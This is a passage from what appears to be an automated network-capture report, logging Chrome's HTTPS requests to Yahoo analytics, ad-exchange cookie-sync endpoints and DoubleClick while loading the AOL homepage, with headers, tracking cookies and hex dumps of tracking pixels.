/p?s=1197803361&t=OixbiFiNXUmt4Wrv,0.27739613849564004&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03window.focus%04A_prets%031716503705%04A_prems%03860%04_E%03dwell%04_ts%031716503705%04_ms%03861%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:17 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:17 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:17 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
697	192.168.2.6	50545	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1505	OUT	GET /setuid?bidder=openx&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=1690c585-1e50-4da8-8aa2-67bafb3a95db HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInNvbm9iaSI6eyJ1aWQiOiIzZTY5OTE1YS1hYTgxLTQ1M2MtOGJlNi02MjFhZjcxNTBmNDEiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxMy41NjY4NjU4ODlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNC42OTUzODA2OTRaIn0sInVucnVseSI6eyJ1aWQiOiJSWC03YzY0ZjdiNC03YTkwLTQ1ZWItOTFhZS1hZjc2ZTUyM2Q5NjMtMDAzIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTQuODU4ODA2MzI2WiJ9fX0=; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
2024-05-23 22:35:17 UTC	1258	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwib3BlbngiOnsidWlkIjoiMTY5MGM1ODUtMWU1MC00ZGE4LThhYTItNjdiYWZiM2E5NWRiIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTcuMDA0MDEyNTkxWiJ9LCJydWJpY29uIjp7InVpZCI6IkxXSlRaQUJOLVgtSzRQVyIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjA2Ljg5MDMyMDEyOVoifSwic29ub2JpIjp7InVpZCI6IjNlNjk5MTVhLWFhODEtNDUzYy04YmU2LTYyMWFmNzE1MGY0MSIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjEzLjU2Njg2NTg4OVoifSwidHRkIjp7InVpZCI6IjNlMDc3YmI0LWJmNGEtNGMxOS05MzNlLWM5OGRkZDg4MTQyZSIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjA0LjY5NTM4MDY5NFoifSwidW5ydWx5Ijp7InVpZCI6IlJYLTdjNjRmN2I0LTdhOTAtNDVlYi05MWFlLWFmNzZlNTIzZDk2My0wMDMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxNC44NTg4MDYzMjZaIn19fQ==; Path=/; Domain=pbs.yahoo.com; Expires=Thu, 21 Nov 2024 22:35:17 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Thu, 23 May 2024 22:35:17 GMT x-envoy-upstream-service-time: 1 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 1 Connection: close
2024-05-23 22:35:17 UTC	223	IN	Data Raw: 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Strict-Transport-Security: max-age=31536000Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-05-23 22:35:17 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
698	192.168.2.6	50544	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1593	OUT	POST /p?s=1197803361&t=XdOpeLQzD1mq61QO,0.07312799714798168&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03window.blur%04A_prets%031716503705%04A_prems%03861%04_E%03dwell%04_ts%031716503705%04_ms%03863%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:17 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:17 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:17 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
699	192.168.2.6	50551	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1144	OUT	GET /ups/58746/sync?ui=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14&redir=true&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; IDSYNC=18z8~2ila:19ac~2ila:19aj~2ila:19bn~2ila:19bu~2ila:19cu~2ila:19cw~2ila:19e0~2ila:19e7~2ila:19ea~2ila
2024-05-23 22:35:17 UTC	927	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:17 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="18z8~2ila:19ac~2ila:19aj~2ila:19bn~2ila:19bu~2ila:19cu~2ila:19cw~2ila:19e0~2ila:19e7~2ila:19ea~2ila";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 23-May-2025 22:35:17 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://trc.taboola.com/sg/yahoo_axid--yahoo_paxid/1/um/?axid=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A&paxid=&gdpr=0&gpp_sid=-1&gpp=DBAA&ui=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14&us_privacy=1YNN Age: 0 Connection: close Server: ATS/9.1.10.112 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:17 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
700	192.168.2.6	50539	35.214.149.91	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	818	OUT	GET /sync?dsp_id=354&user_id=61a17c46e93048d9879e0b4ddec1c25a&ssp=medianet&bsw_param=ad3998d2-fd62-4225-919d-66f459efadb2&gdpr=0&consent=&gdpr_pd=1&expires=7 HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=ad3998d2-fd62-4225-919d-66f459efadb2; c=1716503696; tuuid_lu=1716503699
2024-05-23 22:35:17 UTC	541	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 23 May 2024 22:35:17 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //contextual.media.net/cksync.php?cs=1&type=bs&ovsid=ad3998d2-fd62-4225-919d-66f459efadb2&gdpr=0&gdpr_consent=&gdpr_pd=1 Set-Cookie: cs=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: bsw_origin_init=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
701	192.168.2.6	50550	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1045	OUT	GET /ups/58739/cms?partner_id=BLKAI&orig=ono HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; IDSYNC=18z8~2ila:19ac~2ila:19aj~2ila:19bn~2ila:19bu~2ila:19cu~2ila:19cw~2ila:19e0~2ila:19e7~2ila:19ea~2ila
2024-05-23 22:35:17 UTC	806	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:17 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="18z8~2ila:19ac~2ila:19aj~2ila:19bn~2ila:19bu~2ila:19cu~2ila:19cw~2ila:19e0~2ila:19e7~2ila:19ea~2ila";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 23-May-2025 22:35:17 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://tags.bluekai.com/site/19505?id=y-RJ60jBlE2pKjuyQ5VRBp7HqsNYfiFwUwE.A-~A Age: 0 Connection: close Server: ATS/9.1.10.112 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:17 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
702	192.168.2.6	50555	89.149.192.74	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	999	OUT	GET /redir?partneruserid=AANRF07Mn4kAABWNJQroRw&partnerid=127&redirurl=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr%3D0%26bee_sync_partners%3Dpm%26bee_sync_current_partner%3Dsas%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D3%26userid%3DSMART_USER_ID&gdpr=0 HTTP/1.1 Host: rtb-csync.smartadserver.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pid=8330378466080050028
2024-05-23 22:35:17 UTC	552	IN	HTTP/1.1 302 Found content-length: 0 date: Thu, 23 May 2024 22:35:16 GMT cache-control: no-cache,no-store location: https://match.prod.bidr.io/cookie-sync?gdpr=0&gdpr=0&bee_sync_partners=pm&bee_sync_current_partner=sas&bee_sync_initiator=adx&bee_sync_hop_count=3&userid=8330378466080050028&gdpr=0&gdpr_consent= pragma: no-cache set-cookie: csync=127:AANRF07Mn4kAABWNJQroRw; expires=Fri, 23 May 2025 22:35:17 GMT; domain=smartadserver.com; path=/; SameSite=None; secure p3p: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
703	192.168.2.6	50553	142.250.185.194	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	2432	OUT	GET /gampad/ads?iu=%2F22888152279%2Fus%2Faol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&plcmt=1&ad_type=video&output=xml_vast4&gdfp_req=1&env=vp&sz=640x480&tfcd=0&unviewed_position_start=1&vpa=click&vpmute=1&vpos=preroll&correlator=3143594797525639&url=https%3A%2F%2Fwww.aol.com%2F&description_url=https%3A%2F%2Fwww.aol.com%2F&gpp=DBAA&gpp_sid=-1&gdpr=0&gdpr_consent&us_privacy=1YNN&npa=0&ltd=0&is_lat=0&ppid&cust_params=lmsid%3Da077000000IpoJiAAJ%26pstaid%3D42b897a6-9771-3329-b351-69a701a77438%26colo%3Dir2%26lang%3Den-US%26site%3Daolhomepage%26region%3DUS%26expn%3Daolhomepage%26spaceid%3D1197803361%26loc%3Dpreroll%26bucket%3Daol-acookie-control%2Caol-aa-1%26plseq%3D1%26axid%3D%26cid%3D6bdcc9b44e4944e0afb2acf2b5e6c7e6%26show_name%3DAP%26bka%3D0%26bkg%3D0%26hb_source%3Ds2s%26hb_cache_region%3Deuwe1%26hb_bidder_seatid%3DDefaultBidder-1&sdkv=h.3.642.0&osd=2&frm=2&vis=2&sdr=1&hl=en&afvsz=200x200&is_amp=0&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5M [TRUNCATED] Host: pubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://imasdk.googleapis.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://imasdk.googleapis.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
2024-05-23 22:35:17 UTC	880	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://imasdk.googleapis.com Observe-Browsing-Topics: ?1 Google-LineItem-Id: -2 Google-Creative-Id: -2 Google-MediationGroup-Id: -2 Google-MediationTag-Id: -2 Date: Thu, 23 May 2024 22:35:17 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/xml; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-23 22:35:17 UTC	162	IN	Data Raw: 39 63 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 56 41 53 54 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 73 69 3a 6e 6f 4e 61 6d 65 73 70 61 63 65 53 63 68 65 6d 61 4c 6f 63 61 74 69 6f 6e 3d 22 76 61 73 74 2e 78 73 64 22 20 76 65 72 73 69 6f 6e 3d 22 34 2e 30 22 2f 3e 0a 0d 0a Data Ascii: 9c<?xml version="1.0" encoding="UTF-8"?><VAST xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="vast.xsd" version="4.0"/>
2024-05-23 22:35:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
704	192.168.2.6	50552	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1607	OUT	POST /p?s=1197803361&t=DqvswtRzxcYlr2sz,0.8854432090593074&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503705%04A_prems%03863%04_E%03dwell%04_ts%031716503705%04_ms%03865%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" 